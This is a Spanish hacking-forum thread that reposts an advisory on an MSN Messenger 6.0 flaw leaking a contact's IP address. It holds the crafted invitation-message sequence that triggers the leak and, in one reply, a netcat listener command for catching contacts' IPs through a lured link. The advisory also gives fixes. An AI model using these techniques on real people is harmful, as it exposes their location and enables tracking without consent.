elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
21 Marzo 2010, 18:46  


Temas destacados: Estás participando en un experimento, enviar feedback


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...  (Leído 8095 veces)
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.523



Ver Perfil
MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« en: 29 Noviembre 2003, 13:39 »

Copy-Paste de www.security.nnov.ru:

Citar
MSN Messenger  bug

Release Date:
20/11/03

Discovery date:
Sometime around 2001 or 2000

Versions Affected:
------------------

Msn messenger 1.0 -> msn messenger 6.0.0602
Windows messenger all versions

Not Affected:
------------

Msn Messenger 6.1, trillian, gaim

Description:
-----------

A bug exists in Microsofts msn messenger client.
MSN messenger improperly parses the fields during
file transfer invitation requests. Particularly
the request ip field. This makes it possible to
trick the msn client into giving *away* the users
ip address without him/her accepting the file
transfer first.

The bug happens when a specially crafted MSG requests
are issued to the switchboard server and then
relayed onto the client. Upon receiving each
request from the switchboard the client seems
to incorrectly process the Ip-Address field
without first waiting for userB to accept the
file that is being attempted to be sent. It seems
the reason for this bug is that the msn client
seems to unsafelly depend on client of userB to send the
sequences and fields in those sequences in the
order in which is expected. A malicious user however
could construct a program that sends them in the
incorrect order and requests userB for the ip
address before userB asks userA for its ip address
and userBs client will falselly hand out the ip
address. This circumvents the whole thing and
allows us to invade the users privacy by handing
out such sensitive info.

Below are example of *expected* exchange of data
(this however can be exploited)

Example:

>>> MSG 4 N 277
    MIME-Version: 1.0
    Content-Type: text/x-msmsgsinvite; charset=UTF-8
   
    Application-Name: File Transfer
    Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}
    Invitation-Command: INVITE
    Invitation-Cookie: 33267
    Application-File: readme.txt
    Application-FileSize: 60904


<<< MSG example@passport.com Tim 179
    MIME-Version: 1.0
    Content-Type: text/x-msmsgsinvite; charset=UTF-8
   
    Invitation-Command: ACCEPT
    Invitation-Cookie: 33267
    Launch-Application: FALSE
    Request-Data: IP-Address:


>>> MSG 4 N 238
    MIME-Version: 1.0
    Content-Type: text/x-msmsgsinvite; charset=UTF-8
   
    Invitation-Command: ACCEPT
    Invitation-Cookie: 33267
    IP-Address: 10.44.102.65
    Port: 6891
    AuthCookie: 93301
    Launch-Application: FALSE
    Request-Data: IP-Address:

However to exploit the bug we would send the below

  "MSG 1 N 275\r\n"
  "MIME-Version: 1.0\r\n"
  "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
  "\r\n"
  "Application-Name: File Transfer\r\n"
  "Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n"
  "Invitation-Command: INVITE\r\n"
  "Invitation-Cookie: 1\r\n"
  "Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n"
  "Application-FileSize: 10\r\n"
  "MSG 2 N 191\r\n"  
  "MIME-Version: 1.0\r\n"
  "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
  "\r\n"
  "Invitation-Command: ACCEPT\r\n"
  "Invitation-Cookie: 1\r\n"
  "AuthCookie: 10\r\n"
  "Launch-Application: FALSE\r\n"
  "Request-Data: IP-Address:\r\n"
  "MSG 3 N 143\r\n"
  "MIME-Version: 1.0\r\n"
  "Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
  "\r\n"
  "Invitation-Command: CANCEL\r\n"
  "Invitation-Cookie: 1\r\n"
  "Cancel-Code: TIMEOUT\r\n"

We should get a response of something like below

  Invitation-Command: ACCEPT
  Invitation-Cookie: 1
  IP-Address: 81.131.24.31
  Port: 6892
  PortX: 11181
  AuthCookie: 15784036
  Launch-Application: FALSE
  Request-Data: IP-Address:

Code will be made public sometime in the future to
demonstrate the bug.

Severity:
~~~~~~~~~

This bug has been activelly exploited in the wild.
Due to the transition to the new msnp protocol
however many of the variants that derived due to
sniffing of the original now do not work but it
is only a matter of time when a new version is
made widelly available.

Possible fix/workaround:
~~~~~~~~~~~~~~~~~~~~~~~

The problem may be fixed to some extend by using the
messenger disallow list to block any uninvited users
that are not on your allow list. This way you cannot
be exploited unless you specifically trust the user
and he is on your allow list.

A mechanism must be included in the msn messenger
client implementation that first checks that userB
has accepted the file userA is trying to send
before processing the Request-Data: Ip-Address:
field. It seems pretty sad that MS cannot even
get this right even if its later rather than sooner,
especially when all third party clients seem to have
such a mechanism in place thats worked effectivelly.
I have tested this technique extensivelly with others
such as trillian and these seem to be safe.

Upgrade to msn messenger 6.1

Credit:
Discovery: Brice aka THR

Feedback
Please send suggestions or comments to:

hi_tech_assassin@hackermail.com

Seguro que a mas de uno le interesa, aunq dudo mucho que pueda aplicar el metodo que se expone aqui....

De todas formas, esto solo sirve para sacar la IP de con quien estas hablando SIN QUE ACEPTE el archivo que le envias, solo con tratar de soliciarlo.

Lo puse, porque me parecio bastante curioso (por la dificutad de explotarlo)

Salu2
En línea
YANDEL

Desconectado Desconectado

Mensajes: 385


ESE SOY YO (el de la derecha) ;)


Ver Perfil
Re:MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #1 en: 30 Noviembre 2003, 08:12 »

no entendi k es lo k hay que hacer para saber el ip sin tener que mandar el archivo como es ??


gracias rojo2 y muy interesante
En línea

<.·´¯`·.< «*<wisin y yandel>*»>·´¯`·.>

BORICUA!!! CON ORGULLO!!
FeRmO

Desconectado Desconectado

Mensajes: 380

Gritemos!


Ver Perfil
Re:MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #2 en: 30 Noviembre 2003, 09:36 »


Weno ya habia un programa que hacia todo eso.
Tan solo te logeabas en tu cuetna del msn y te aparecian los contactos en linea y al que kerias saber su ip le mandabes un pekeño archivo que venia cn el programa y te daba la ip del contacto.
Se llama MSN ipGET v3.0 aunke como dice en el articulo de Rojodos ya no sirve pa el msn 6.1
En línea

FeRmO
theskull
Visitante


Email
Re:MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #3 en: 01 Diciembre 2003, 09:21 »


Weno ya habia un programa que hacia todo eso.
Tan solo te logeabas en tu cuetna del msn y te aparecian los contactos en linea y al que kerias saber su ip le mandabes un pekeño archivo que venia cn el programa y te daba la ip del contacto.
Se llama MSN ipGET v3.0 aunke como dice en el articulo de Rojodos ya no sirve pa el msn 6.1

ese programa es bueno para sacar la ip pero yandel pregunta por uno d el q no tengas q enviar archivo yo es q no se si existe pero ese q dice ElJuAnKaR esta bien solo tienes q tratar de q tan solo acepte y enseguida la saca yo recomendaria ese

salu2
En línea
z3r0_un0

Desconectado Desconectado

Mensajes: 95


[déjà vu]


Ver Perfil WWW
Re:MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #4 en: 01 Diciembre 2003, 11:51 »

Según entendi el fallo consta en hacer una falsa llamada de transferencia de archivo, por lo que el msn igual abrelos puertos y se puede sacar la IP. En pocas palabras.  ;)
En línea
newbieX

Desconectado Desconectado

Mensajes: 55


¡#$%MeTaFoXX!


Ver Perfil
Re:MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #5 en: 04 Diciembre 2003, 17:28 »

Bueno la forma de como yo saco el Ip del mis contactos de enviandole un Link de alguna pagina WEB  mientras dejo el puerto 80 http en escucha con una herramienta muy buena q es la que usan los grandes HACKERS se llama net cat.. y es excelentes para conexiones TCP-IP bueno si lo quieren descargar la forma de dejar el puerto 80 en espera es nc -v -v -l -p 80 y de inmediatamente cuando la victima precione el LINK de dira el IP y muchisimas informaciones mas... GRACIAS espero que esto les sirva por q a mi me funciona perfecto.... xD.... #$%#$% SALU 2...
                      #$%BY MeTaFoX....."#$ Rep.Dom. :) 8)


En línea

Compartin informacion es lo mejor para aprender...mas sobre el tema del hacking ..
DAGH

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #6 en: 19 Septiembre 2004, 13:38 »

Hola. Hey me podrias decir de donde lo puedo descargar? y volver un poquito mas explicito el mensaje anterior?

suerte hermano :-X ;D





¿is there security?
En línea
Sir_Neo

Desconectado Desconectado

Mensajes: 204


$ir ||ê0


Ver Perfil WWW
Re: MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #7 en: 19 Septiembre 2004, 21:25 »

Si lo que te refieres es al netcat, lo puedes descargar de esta web www.elhacker.net.

Por lo demás, está bien explicado el proceso que tienes q seguir. Si no tienes ni idea como funciona el netcat, buscate un manual en la misma web y busca por el foro.
En línea

Si juegas con el mejor, muere como los demás

http://www.lepeonline.net/
Dyno

Desconectado Desconectado

Mensajes: 89


The Hack Art


Ver Perfil
Re: MSN Messenger 6.0 Bug -> Descubriendo IPs sin envio de archivos...
« Respuesta #8 en: 19 Septiembre 2004, 23:26 »

Pero este hilo esta ya anticuado, el messenger que va creo que es el 6.3 o 6.4 asi que como la victima no tenga el 6.0 o inferior pues no hacemos nada.

SOLUCION: ENVIAR ARCHIVO Y netstat...
En línea

Pondremos el mantel tu quedate a mi lado
A comernos al amanecer, lo que quieran las manos
Y de postre un sol maldito que termine de volverme loco. Que ya sabes que la luna a mi siempre me sabe a poco a poco a pocooooo¡¡¡
Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC